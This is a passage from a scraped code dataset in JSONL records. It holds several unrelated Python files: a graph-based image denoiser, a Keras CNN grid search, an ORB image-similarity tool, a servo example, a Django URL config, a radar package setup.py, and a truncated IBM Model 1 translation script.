cnnf_2(opt=self.opt)\n if self.opt.legacy:\n self.cnnu = cnnu(u_min=u_min, opt=self.opt)\n else:\n self.uu = uu()\n\n if cuda:\n self.cnnf.cuda()\n opt.logger.info(\"GTV created on cuda: {0}\".format(cuda))\n self.dtype = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n self.device = torch.device(\"cuda\") if cuda else torch.device(\"cpu\")\n self.cnnf.apply(weights_init_normal)\n if self.opt.legacy:\n self.cnnu.apply(weights_init_normal)\n\n self.support_zmax = torch.ones(1).type(self.dtype) * 0.01\n self.support_identity = torch.eye(\n self.opt.width ** 2, self.opt.width ** 2\n ).type(self.dtype)\n self.support_L = torch.ones(opt.width ** 2, 1).type(self.dtype)\n self.base_W = torch.zeros(\n self.opt.batch_size,\n self.opt.channels,\n self.opt.width ** 2,\n self.opt.width ** 2,\n ).type(self.dtype)\n self.lanczos_order = 100\n self.support_e1 = torch.zeros(self.lanczos_order, 1).type(self.dtype)\n self.support_e1[0] = 1\n self.weight_sigma = 0.01\n\n def forward(self, xf, debug=False, manual_debug=False): # gtvforward\n s = self.weight_sigma\n if self.opt.legacy:\n u = self.cnnu.forward(xf)\n u = u.unsqueeze(1).unsqueeze(1)\n else:\n u=self.uu.forward()\n u_max = self.opt.u_max\n u_min = self.opt.u_min\n if debug:\n self.u = u.clone()\n u = torch.clamp(u, u_min, u_max)\n\n z = self.opt.H.matmul(xf.view(xf.shape[0], xf.shape[1], self.opt.width ** 2, 1))\n\n ###################\n E = self.cnnf.forward(xf)\n Fs = (\n self.opt.H.matmul(E.view(E.shape[0], E.shape[1], self.opt.width ** 2, 1))\n ** 2\n )\n\n w = torch.exp(-(Fs.sum(axis=1)) / (s ** 2))\n if debug:\n s = f\"Sample WEIGHT SUM: {w[0, :, :].sum().item():.4f} || Mean Processed u: {u.mean().item():.4f}\"\n self.logger.info(s)\n \n w = w.unsqueeze(1).repeat(1, self.opt.channels, 1, 1)\n\n W = self.base_W.clone()\n Z = W.clone()\n W[:, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]] = w.view(\n xf.shape[0], 3, -1\n )\n W[:, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]] = w.view(\n xf.shape[0], 3, -1\n )\n Z[:, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]] = torch.abs(\n z.view(xf.shape[0], 3, -1)\n )\n Z[:, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]] = torch.abs(\n z.view(xf.shape[0], 3, -1)\n )\n Z = torch.max(Z, self.support_zmax)\n L = W / Z\n\n L1 = L @ self.support_L\n L = torch.diag_embed(L1.squeeze(-1)) - L\n\n ########################\n y = xf.view(xf.shape[0], self.opt.channels, -1, 1)\n ########################\n\n xhat = self.qpsolve(L, u, y, self.support_identity, self.opt.channels)\n\n # GLR 2\n def glr(y, w, u, debug=False, return_dict=None):\n W = self.base_W.clone()\n z = self.opt.H.matmul(y)\n Z = W.clone()\n W[\n :, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]\n ] = w.view(xf.shape[0], 3, -1)\n W[\n :, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]\n ] = w.view(xf.shape[0], 3, -1)\n Z[\n :, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]\n ] = torch.abs(z.view(xf.shape[0], 3, -1))\n Z[\n :, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]\n ] = torch.abs(z.view(xf.shape[0], 3, -1))\n Z = torch.max(Z, self.support_zmax)\n L = W / Z\n L1 = L @ self.support_L\n L = torch.diag_embed(L1.squeeze(-1)) - L\n\n xhat = self.qpsolve(L, u, y, self.support_identity, self.opt.channels)\n return xhat\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n xhat = glr(xhat, w, u)\n return xhat.view(\n xhat.shape[0], self.opt.channels, self.opt.width, self.opt.width\n )\n\n def predict(self, xf, change_dtype=False, new_dtype=False, layers=1):\n if change_dtype:\n self.base_W = torch.zeros(\n xf.shape[0], self.opt.channels, self.opt.width ** 2, self.opt.width ** 2\n ).type(new_dtype)\n else:\n self.base_W = torch.zeros(\n xf.shape[0], self.opt.channels, self.opt.width ** 2, self.opt.width ** 2\n ).type(dtype)\n P = self.forward(xf)\n for i in range(layers - 1):\n P = self.forward(P)\n return P\n\n def qpsolve(self, L, u, y, Im, channels=3):\n \"\"\"\n Solve equation (2) using (6)\n \"\"\"\n\n t = torch.inverse(Im + u * L)\n\n return t @ y\n \n def forward_approx(self, xf, debug=False, manual_debug=False): # gtvapprox\n self.base_W = torch.zeros(\n xf.shape[0], self.opt.channels, self.opt.width ** 2, self.opt.width ** 2\n ).type(dtype)\n\n u = self.cnnu.forward(xf)\n u_max = self.opt.u_max\n u_min = self.opt.u_min\n if debug:\n self.u = u.clone()\n if manual_debug:\n return_dict = {\n \"Lgamma\": list(),\n \"z\": list(),\n \"gamma\": list(),\n \"x\": list(),\n \"W\": list(),\n \"Z\": list(),\n \"gtv\": list(),\n \"w\": list(),\n \"f\": list(),\n }\n\n u = torch.clamp(u, u_min, u_max)\n # u = u.unsqueeze(1).unsqueeze(1)\n u = u.unsqueeze(1)\n\n z = self.opt.H.matmul(xf.view(xf.shape[0], xf.shape[1], self.opt.width ** 2, 1))\n\n ###################\n E = self.cnnf.forward(xf)\n if manual_debug:\n return_dict[\"f\"].append(E)\n Fs = (\n self.opt.H.matmul(E.view(E.shape[0], E.shape[1], self.opt.width ** 2, 1))\n ** 2\n )\n w = torch.exp(-(Fs.sum(axis=1)) / (self.weight_sigma ** 2))\n\n if manual_debug:\n # return_dict['gtv'].append((z*w).abs().sum())\n pass\n if debug:\n self.logger.info(\n \"\\t\\x1b[31mWEIGHT SUM (1 sample)\\x1b[0m {0:.6f}\".format(\n w[0, :, :].sum().item()\n )\n )\n self.logger.info(\n \"\\tprocessed u: Mean {0:.4f} Median {1:.4f}\".format(\n u.mean().item(), u.median().item()\n )\n )\n w = w.unsqueeze(1).repeat(1, self.opt.channels, 1, 1)\n\n W = self.base_W.clone()\n Z = W.clone()\n W[:, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]] = w.view(\n xf.shape[0], 3, -1\n )\n W[:, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]] = w.view(\n xf.shape[0], 3, -1\n )\n Z[:, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]] = torch.abs(\n z.view(xf.shape[0], 3, -1)\n )\n Z[:, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]] = torch.abs(\n z.view(xf.shape[0], 3, -1)\n )\n Z = torch.max(Z, self.support_zmax)\n L = W / Z\n\n if manual_debug:\n return_dict[\"gamma\"].append(L)\n return_dict[\"w\"].append(w)\n return_dict[\"W\"].append(W)\n L1 = L @ self.support_L\n L = torch.diag_embed(L1.squeeze(-1)) - L\n\n ########################\n # USE CNNY\n # Y = self.cnny.forward(xf).squeeze(0)\n # y = Y.view(xf.shape[0], xf.shape[1], self.opt.width ** 2, 1)#.requires_grad_(True)\n ####\n y = xf.view(xf.shape[0], self.opt.channels, -1, 1)\n ########################\n\n # xhat = self.qpsolve(L, u, y, self.support_identity, self.opt.channels)\n xhat = self.lanczos_approx(\n L, self.lanczos_order, self.support_e1, y.squeeze(-1), u\n )\n\n if manual_debug:\n return_dict[\"z\"].append(z)\n return_dict[\"Z\"].append(Z)\n return_dict[\"x\"].append(xhat)\n return_dict[\"Lgamma\"].append(L)\n\n # GLR 2\n def glr(y, w, u, debug=False, return_dict=None):\n W = self.base_W.clone()\n z = self.opt.H.matmul(y)\n Z = W.clone()\n W[\n :, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]\n ] = w.view(xf.shape[0], 3, -1)\n W[\n :, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]\n ] = w.view(xf.shape[0], 3, -1)\n Z[\n :, :, self.opt.connectivity_idx[0], self.opt.connectivity_idx[1]\n ] = torch.abs(z.view(xf.shape[0], 3, -1))\n Z[\n :, :, self.opt.connectivity_idx[1], self.opt.connectivity_idx[0]\n ] = torch.abs(z.view(xf.shape[0], 3, -1))\n Z = torch.max(Z, self.support_zmax)\n L = W / Z\n if manual_debug:\n return_dict[\"gamma\"].append(L)\n return_dict[\"w\"].append(w)\n return_dict[\"W\"].append(W)\n\n L1 = L @ self.support_L\n L = torch.diag_embed(L1.squeeze(-1)) - L\n\n # xhat = self.qpsolve(L, u, y, self.support_identity, self.opt.channels)\n xhat = self.lanczos_approx(\n L, self.lanczos_order, self.support_e1, y.squeeze(-1), u\n )\n if debug:\n return_dict[\"z\"].append(z)\n return_dict[\"Z\"].append(Z)\n return_dict[\"Lgamma\"].append(L)\n return_dict[\"x\"].append(xhat)\n return xhat\n\n if manual_debug:\n xhat2 = glr(xhat, w, u, debug=manual_debug, return_dict=return_dict)\n xhat3 = glr(xhat2, w, u, debug=manual_debug, return_dict=return_dict)\n xhat4 = glr(xhat3, w, u, debug=manual_debug, return_dict=return_dict)\n return (\n xhat4.view(\n xhat4.shape[0], self.opt.channels, self.opt.width, self.opt.width\n ),\n return_dict,\n )\n\n xhat2 = glr(xhat, w, u)\n xhat3 = glr(xhat2, w, u)\n xhat4 = glr(xhat3, w, u)\n\n return xhat4.view(\n xhat4.shape[0], self.opt.channels, self.opt.width, self.opt.width\n )\n\n def lanczos_approx(self, L, order, e1, dx, u):\n v, H_M = self.planczos(L, order, dx)\n H_M_eval, H_M_evec = torch.symeig(H_M, eigenvectors=True)\n H_M_eval = torch.clamp(H_M_eval, 0, H_M_eval.max().item())\n fv = H_M_evec @ torch.diag_embed(f(H_M_eval, u)) @ H_M_evec.permute(0, 1, 3, 2)\n approx = torch.norm(dx, dim=2).unsqueeze(-1).unsqueeze(-1) * v @ fv @ e1\n return approx\n\n def planczos(self, A, order, x):\n q = x / torch.norm(x, dim=2, keepdim=True)\n V = torch.zeros((x.shape[0], x.shape[1], x.shape[2], order), device=self.device)\n V[:, :, :, 0] = q\n q = q.unsqueeze(-1)\n H = torch.zeros((x.shape[0], x.shape[1], order + 1, order), device=self.device)\n r = A @ q\n H[:, :, 0, 0] = torch.sum(q * r, axis=[-2, -1])\n\n r = r - H[:, :, 0, 0].unsqueeze(-1).unsqueeze(-1) * q\n H[:, :, 1, 0] = torch.norm(r, dim=2).squeeze(-1)\n\n for k in range(1, order):\n H[:, :, k - 1, k] = H[:, :, k, k - 1]\n v = q.clone()\n q = r / H[:, :, k - 1, k].unsqueeze(-1).unsqueeze(-1)\n\n V[:, :, :, k] = q.squeeze(-1)\n\n r = A @ q\n r = r - H[:, :, 0, 0].unsqueeze(-1).unsqueeze(-1) * v\n\n H[:, :, k, k] = torch.sum(q * r, axis=[-2, -1])\n\n r = r - H[:, :, k, k].unsqueeze(-1).unsqueeze(-1) * q\n r = r - V @ (V.permute(0, 1, 3, 2) @ r)\n H[:, :, k + 1, k] = torch.norm(r, dim=2).squeeze(-1)\n\n return V, H[:, :, :order, :order]\n\n def f(x, u=0.5):\n return 1 / (1 + u * x)\n\n def lancz_predict(self, xf, change_dtype=False, new_dtype=False, layers=1):\n if change_dtype:\n self.base_W = torch.zeros(\n xf.shape[0], self.opt.channels, self.opt.width ** 2, self.opt.width ** 2\n ).type(new_dtype)\n else:\n self.base_W = torch.zeros(\n xf.shape[0], self.opt.channels, self.opt.width ** 2, self.opt.width ** 2\n ).type(dtype)\n P = self.forward_approx(xf)\n for i in range(layers - 1):\n P = self.forward_approx(P)\n return P\n\ndef f(x, u=0.5):\n return 1 / (1 + u * x)\n\nclass DeepGTV(nn.Module):\n \"\"\"\n Stack GTVs\n \"\"\"\n\n def __init__(\n self,\n width=36,\n prox_iter=5,\n u_min=1e-3,\n u_max=1,\n cuda=False,\n opt=None\n ):\n super(DeepGTV, self).__init__()\n self.gtv1 = GTV(width=width, u_max=u_max, u_min=u_min, cuda=cuda, opt=opt,)\n\n self.opt = opt\n if cuda:\n self.gtv1.cuda()\n\n def load(self, p1, p2):\n if self.cuda:\n device = torch.device(\"cuda\")\n else:\n device = torch.device(\"cpu\")\n self.gtv1.load_state_dict(torch.load(p1, map_location=device))\n\n def predict(self, sample):\n if self.cuda:\n sample.cuda()\n P = self.gtv1.predict(sample)\n P = self.gtv1.predict(P)\n\n return P\n\n def lancz_predict():\n if self.cuda:\n sample.cuda()\n P = self.gtv1.lancz_predict(sample)\n P = self.gtv1.lancz_predict(P)\n\n return P\n\n\n\n def forward(self, sample, debug=False):\n if not debug:\n P = self.gtv1(sample)\n P = self.gtv1(P)\n else:\n P1 = self.gtv1(sample)\n P2 = self.gtv1(P1)\n return P1, P2\n return P\n\n\ndef supporting_matrix(opt):\n dtype = opt.dtype\n cuda = opt.cuda\n width = opt.width\n\n pixel_indices = [i for i in range(width * width)]\n pixel_indices = np.reshape(pixel_indices, (width, width))\n A = connected_adjacency(pixel_indices, connect=opt.connectivity)\n A_pair = np.asarray(np.where(A.toarray() == 1)).T\n A_pair = np.unique(np.sort(A_pair, axis=1), axis=0)\n\n opt.edges = A_pair.shape[0]\n H_dim0 = opt.edges\n H_dim1 = width ** 2\n\n I = torch.eye(width ** 2, width ** 2).type(dtype)\n A = torch.zeros(width ** 2, width ** 2).type(dtype)\n H = torch.zeros(H_dim0, H_dim1).type(dtype)\n for e, p in enumerate(A_pair):\n H[e, p[0]] = 1\n H[e, p[1]] = -1\n A[p[0], p[1]] = 1\n\n opt.I = I \n opt.pairs = A_pair\n opt.H = H \n opt.connectivity_full = A.requires_grad_(True)\n opt.connectivity_idx = torch.where(A > 0)\n\n for e, p in enumerate(A_pair):\n A[p[1], p[0]] = 1\n opt.logger.info(\"OPT created on cuda: {0} {1}\".format(cuda, dtype))\n\ndef mkdir(d, remove=True):\n try:\n if not os.path.exists(d):\n os.makedirs(d)\n else:\n if remove:\n shutil.rmtree(d) # Removes all the subdirectories!\n os.makedirs(d)\n except Exception:\n print(\n \"Cannot create \", d,\n )\n\n\ndef patch_splitting(dataset, output_dst, patch_size=36, stride=18):\n \"\"\"Split each image in the dataset to patch size with size patch_size x patch_size\n dataset: path of full size reference images \n \"\"\"\n import matplotlib.pyplot as plt\n output_dst_temp = os.path.join(output_dst, \"patches\")\n output_dst_noisy = os.path.join(output_dst_temp, \"noisy\")\n output_dst_ref = os.path.join(output_dst_temp, \"ref\")\n mkdir(output_dst_temp)\n mkdir(output_dst_noisy)\n mkdir(output_dst_ref)\n\n dataloader = DataLoader(dataset, batch_size=1)\n total = 0\n patch_size = int(patch_size)\n stride = int(stride)\n for i_batch, s in enumerate(dataloader):\n T1 = (\n s[\"nimg\"]\n .unfold(2, patch_size, stride)\n .unfold(3, patch_size, stride)\n .reshape(1, 3, -1, patch_size, patch_size)\n .squeeze()\n )\n T2 = (\n s[\"rimg\"]\n .unfold(2, patch_size, stride)\n .unfold(3, patch_size, stride)\n .reshape(1, 3, -1, patch_size, patch_size)\n .squeeze()\n )\n print(i_batch, dataset.nimg_name[i_batch], T1.shape)\n img_name = dataset.nimg_name[i_batch].split(\".\")[0]\n img_ext = dataset.nimg_name[i_batch].split(\".\")[1]\n for i in range(T1.shape[1]):\n img = T1[:, i, :, :].cpu().detach().numpy().astype(np.uint8)\n img = img.transpose(1, 2, 0)\n plt.imsave(\n os.path.join(\n output_dst_noisy, \"{0}_{1}.{2}\".format(img_name, i, img_ext)\n ),\n img,\n )\n total += 1\n for i in range(T2.shape[1]):\n img = T2[:, i, :, :].cpu().detach().numpy().astype(np.uint8)\n img = img.transpose(1, 2, 0)\n plt.imsave(\n os.path.join(\n output_dst_ref, \"{0}_{1}.{2}\".format(img_name, i, img_ext)\n ),\n img,\n )\n print(\"total: \", total)\n\n\ndef cleaning(output_dst):\n \"\"\"Clean the directory after running\"\"\"\n\n output_dst_temp = os.path.join(output_dst, \"patches\")\n try:\n shutil.rmtree(output_dst_temp) # Removes all the subdirectories!\n except Exception:\n print(\"Cannot clean the temporary image patches\")\n","sub_path":"dgtv/dgtv.py","file_name":"dgtv.py","file_ext":"py","file_size_in_byte":27861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"331889044","text":"import keras\nimport pickle\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import cross_val_score, train_test_split, StratifiedKFold\n\nimport tqdm\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout, Flatten, Input, UpSampling2D\nfrom keras.optimizers import SGD\nfrom keras.models import Model\n\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.convolutional import MaxPooling2D\nfrom keras.constraints import maxnorm\n\nfrom keras import backend as K\nK.set_image_dim_ordering('tf')\n\ndef save_labels(arr, filename):\n pd_array = pd.DataFrame(arr)\n pd_array.index.names = [\"Id\"]\n pd_array.columns = [\"Prediction\"]\n pd_array.to_csv(filename)\n\ndef load_labels(filename):\n return pd.read_csv(filename, index_col=0).values.ravel()\n\nX_train = np.load(\"X_train.npy\")\ny_train = load_labels(\"y_train.csv\")\nX_test = np.load(\"X_test.npy\")\n\nX_train_small = np.load(\"X_train_small.npy\")\ny_train_small = load_labels(\"y_train_small.csv\")\n\ny_train_one_hot = keras.utils.to_categorical(y_train)\ny_train_small_one_hot = keras.utils.to_categorical(y_train_small)\n\nX_train = X_train.astype('float32') / 255.0\nX_test = X_test.astype('float32') / 255.0\nX_train_small = X_train_small.astype('float32') / 255.0\n\nprint (X_train.shape)\nprint (X_test.shape)\nprint (X_train_small.shape)\n\nprint (y_train_small.max())\nprint (y_train_small.min())\nclasses_number = y_train_small.max() - y_train_small.min() + 1\nprint (classes_number)\n\nX_tr_s, X_te_s, y_tr_s, y_te_s = train_test_split(X_train_small, y_train_small_one_hot, test_size=0.25)\n\ndef pack_color_image(tab):\n tab_red = tab[:,:1024]\n tab_green = tab[:,1024:2048]\n tab_blue = tab[:,2048:3072]\n\n ret = np.dstack((tab_red, tab_green, tab_blue))\n\n return ret\n\nX_tr_s_reshaped = pack_color_image(X_tr_s).reshape(-1, 32, 32, 3)\nX_te_s_reshaped = pack_color_image(X_te_s).reshape(-1, 32, 32, 3)\nprint (X_tr_s_reshaped.shape)\nprint (X_te_s_reshaped.shape)\n\nprint (y_tr_s.shape)\nprint (y_te_s.shape)\n\nnum_classes = y_te_s.shape[1]\nprint (num_classes)\n\n# models = []\nscores = []\nfit_histories = []\n\nfor dense_size in [512, 1024]:\n for dropout in [0.2, 0.5]:\n for lrate in [0.0001, 0.001, 0.01, 0.1]:\n for kernel_size in [(3, 3), (5, 5), (8, 8)]:\n print (\"Training network on: \")\n print (\"kernel size:\", kernel_size)\n print (\"lrate: \", lrate)\n print (\"dropout: \", dropout)\n print (\"dense size: \", dense_size)\n\n model = Sequential()\n\n model.add(Conv2D(32, kernel_size, input_shape=(32, 32, 3), padding='same', activation='relu'))\n model.add(Dropout(dropout))\n model.add(Conv2D(32, kernel_size, activation='relu', padding='same'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Flatten())\n model.add(Dense(dense_size, activation='relu', kernel_constraint=maxnorm(3)))\n model.add(Dropout(dropout))\n model.add(Dense(num_classes, activation='softmax'))\n\n # Compile model\n epochs = 25\n decay = lrate/epochs\n momentum = 0.99\n sgd = SGD(lr=lrate, momentum=momentum, decay=decay)\n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n\n fit_history = model.fit(X_tr_s_reshaped, y_tr_s, validation_data=(X_te_s_reshaped, y_te_s),\n epochs=epochs, batch_size=32, verbose=2)\n score = model.evaluate(X_te_s_reshaped, y_te_s, verbose=0)[1] * 100\n\n # models.append(model)\n scores.append(score)\n fit_histories.append(fit_history)\n print(\"Accuracy: %.2f%%\" % score)\n print()\n\n","sub_path":"Projekt/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"316462856","text":"import argparse\nfrom setLog import log, orbError\nimport os\nimport sys\nimport cv2\ndef judgeExitFloder(filename):\n if not os.path.exists(filename):\n log.logger.error(filename+\" isn't exit\")\n sys.exit()\ndef orbCalcSimilarity(nameA, nameB, showPicture=False):\n imagePathA = os.path.join(args.file1, nameA)\n imagePathB = os.path.join(args.file2, nameB)\n try:\n img1 = cv2.imread(imagePathA, cv2.IMREAD_GRAYSCALE)\n img2 = cv2.imread(imagePathB, cv2.IMREAD_GRAYSCALE)\n if showPicture:\n cv2.imshow(\"grayImg1\", img1)\n except:\n log.logger.error(nameA + \" or \" + nameB + \" read image failed\")\n try:\n # 初始化orb\n orb = cv2.ORB_create()\n kp1, des1 = orb.detectAndCompute(img1, None)\n kp2, des2 = orb.detectAndCompute(img2, None)\n if not len(kp1):\n if nameA in orbFailName:\n return -1\n else:\n orbFailName.append(nameA)\n log.logger.error(nameA+\" orb can't detect anyway\")\n orbError.logger.error(nameB + \" orb can't detect anyway\")\n return -1\n if not len(kp2):\n if nameB in orbFailName:\n return -1\n else:\n orbFailName.append(nameB)\n log.logger.error(nameB + \" orb can't detect anyway\")\n orbError.logger.error(nameB + \" orb can't detect anyway\")\n return -1\n # 提取并计算特征点\n bf = cv2.BFMatcher(cv2.NORM_HAMMING)\n # knn筛选结果\n matches = bf.knnMatch(des1, trainDescriptors=des2, k=2)\n # 查看最大匹配点数目\n good = [m for (m, n) in matches if m.distance < 0.75 * n.distance]\n # print(len(good))\n # print(len(matches))\n similary = len(good) / len(matches)\n log.logger.info(nameA + \" 与 \"+nameB + \" 的相似度为:%s\"%similary)\n return similary\n except:\n log.logger.error(nameA+\" or \"+nameB+\" orb failed\")\n orbError.logger.error(nameA+\" or \"+nameB+\" orb failed\")\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file1\", \"-f1\", type=str, default=\"./90\", help=\"first Files to compare\")\n parser.add_argument(\"--file2\", \"-f2\", type=str, default=\"./0\", help=\"second Files to compare\")\n parser.add_argument(\"--output\", \"-o\", type=str, default=\"./output\", help=\"output file for compare result\")\n args = parser.parse_args()\n log.logger.info(\"this tool is write by YunXiaoD,if you have questions, please send e-mail 6958653042@qq.com to contact me\")\n judgeExitFloder(args.file1)\n judgeExitFloder(args.file2)\n\n listFileA = os.listdir(args.file1)\n listFileB = os.listdir(args.file2)\n\n orbFailName = []\n for imageNameA in listFileA:\n for imageNameB in listFileB:\n# orb对比\n orbCalcSimilarity(imageNameA,imageNameB)\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"69345746","text":"################################################################################\n# Servo Motor Basics\n#\n# Created by Zerynth Team 2015 CC\n# Authors: D. Mazzei, G. Baldi, \n###############################################################################\n\nfrom servo import servo\nimport streams\n\ns=streams.serial()\n\n# create a servo motor attaching it to the pin D11. D11.PWM notation must be used. \n# min max are left to defaults 500-2500. they need to be properly set to the servo specifications\n# control signal period is left to default 20ms\nMyServo=servo.Servo(D11.PWM)\n \n \nwhile True:\n print(\"Servo ON\")\n MyServo.attach()\n sleep(3000)\n \n print(\"Servo controlled in pulse width\")\n for i in range (500,2500,10):\n MyServo.moveToPulseWidth(i)\n print(MyServo.getCurrentPulseWidth())\n # Very important: servo default control signal period is 20ms, don't update the controlling PWM faster than that!\n sleep (100) \n \n print(\"Servo controlled in degrees\")\n for i in range(0,180,1):\n # Very important: degree accuracy depends by the min max pulse width setup. Refer to the servo specifications for proper configuration\n MyServo.moveToDegree(i)\n print(MyServo.getCurrentDegree())\n sleep(100)\n \n print(\"servo OFF\")\n MyServo.detach()\n sleep(3000)","sub_path":"examples/Servo_Motor_Basics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"539575561","text":"\"\"\"myvidsite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom . import views\nfrom django.conf.urls import url, include\nfrom rest_framework import routers\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'drawings_set', views.DrawingViewSet)\nrouter.register(r'submissions_set', views.SubmissionViewSet)\n\napp_name = \"drawingregister\"\n\nurlpatterns = [\n\tpath(\"\", views.home, name=\"home\"),\n path(\"/drawings/\", views.drawings, name=\"drawings\"),\n path(\"drawings//\", views.single_drawing, name=\"single_drawing\"),\n path(\"/submissions/\", views.submissions, name=\"submissions\"),\n path(\"submissions//\", views.single_submission, name=\"single_submission\"),\n path(\"submissions/open_file_path//\", views.open_file_path, name=\"open_file_path\"),\n\n path(\"/drawingTable/\", views.drawingTable, name=\"drawingTable\"), \n path(\"updateDrawings/\", views.updateDrawings, name=\"updateDrawings\"),\n\n path(\"latest_dwg/\", views.latest_dwg, name=\"latest_dwg\"),\n path(\"latest_sub/\", views.latest_sub, name=\"latest_sub\"),\n path(\"/transmittal/\", views.transmittal, name=\"transmittal\"),\n path(\"/newsub/\", views.newsub, name=\"newsub\"),\n path(\"/newdwg/\", views.newdwg, name=\"newdwg\"),\n\n\n\n path(\"postAconex//\", views.postAconex, name=\"postAconex\"),\n path(\"uploadDrawings/\", views.uploadDrawings, name=\"uploadDrawings\"),\n\tpath(\"uploadSubmissions/\", views.uploadSubmissions, name=\"uploadSubmissions\"),\n\n\n path(\"newView/\", views.newView, name=\"newView\"),\n path(\"dictTest/\", views.dictTest, name=\"dictTest\"),\n\n #This url redirects all single strings to home!!\n path(\"/\", views.single_project, name=\"single_project\"),\n\n\n\n url(r'^', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls')),\n]\n","sub_path":"myvidsite/drawingregister/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"90599289","text":"# -*- encoding: utf-8 -*-\nfrom glob import glob\nfrom os.path import basename, splitext\n\nfrom setuptools import find_packages, setup\n\nwith open('README.md', 'r') as f:\n long_description = f.read()\n\nsetup(\n name='ops241-radar',\n license='MIT',\n version='0.0.4',\n description='OPS241 Radar',\n long_description=long_description,\n long_description_content_type='text/markdown',\n entry_points={\n 'console_scripts': [\n 'ops241=ops241.cli:cli',\n ],\n },\n install_requires=[\n 'click',\n 'pyserial',\n ],\n author='sthysel',\n author_email='sthysel@gmail.com',\n url='https://github.com/sthysel/ops241',\n classifiers=[\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Development Status :: 4 - Beta',\n 'Operating System :: Unix',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 3',\n 'Topic :: Utilities',\n ],\n keywords=[],\n extras_require={},\n setup_requires=[],\n packages=find_packages(where='src'),\n package_dir={'': 'src'},\n py_modules=[splitext(basename(path))[0] for path in glob('src/*.py')],\n zip_safe=False,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"461451286","text":"'''\r\nThis script takes two datasets present in json format.\r\nIt translates french to English using IBM Model 1 and EM algorithm\r\n'''\r\n\r\nimport time\r\nimport json\r\nimport numpy as np\r\n\r\n#load data from json files\r\nfile1 = json.load(open('data1.json'))\r\nfile2 = json.load(open('data2.json'))\r\n\r\n#to store sentences\r\nfr_sentence = []\r\nen_sentence = []\r\n\r\n#to store all words\r\nfr_words = []\r\nen_words = []\r\n\r\n#to store translation probability\r\n#t = {}\r\n\r\n#append each sentence into lists\r\nfor i in range(len(file1)): \r\n fr_sentence.append(file1[i]['fr'])\r\n en_sentence.append(file1[i]['en'])\r\n \r\nfor i in range(len(file2)): \r\n fr_sentence.append(file2[i]['fr'])\r\n en_sentence.append(file2[i]['en']) \r\n\r\n\r\nn = len(en_sentence)\r\n \r\n#store all words in sets \r\nfor i in range(n): \r\n en_word = en_sentence[i].split(' ')\r\n \r\n for tmp in en_word:\r\n if(not(tmp in en_words)):\r\n en_words.append(tmp)\r\n \r\n fr_word = fr_sentence[i].split(' ')\r\n \r\n for tmp in fr_word:\r\n if(not(tmp in fr_words)):\r\n fr_words.append(tmp)\r\n \r\n \r\n\r\n \r\nl1 = len(en_words)\r\nl2 = len(fr_words)\r\n\r\n#print(en_words)\r\n#print(fr_words)\r\n \r\ncount = np.zeros(shape=(l1,l2)) # nxn matrix filled with 0s\r\ntotal = np.zeros(l1+l2) #list of size n filled with 0s\r\nconverged = None\r\nstotal = np.zeros(l1+l2)\r\nt = np.zeros(shape=(l1,l2))\r\n\r\n# initialize t(e|f) uniformly\r\nfor i in range(l1):\r\n for j in range(l2):\r\n t[i][j] = np.random.uniform(0,1)\r\n\r\n'''\r\ns='\\t'\r\nfor j in range(l2):\r\n s = s + fr_words[j] + '\\t'\r\ns = s + '\\n'\r\n \r\nfor i in 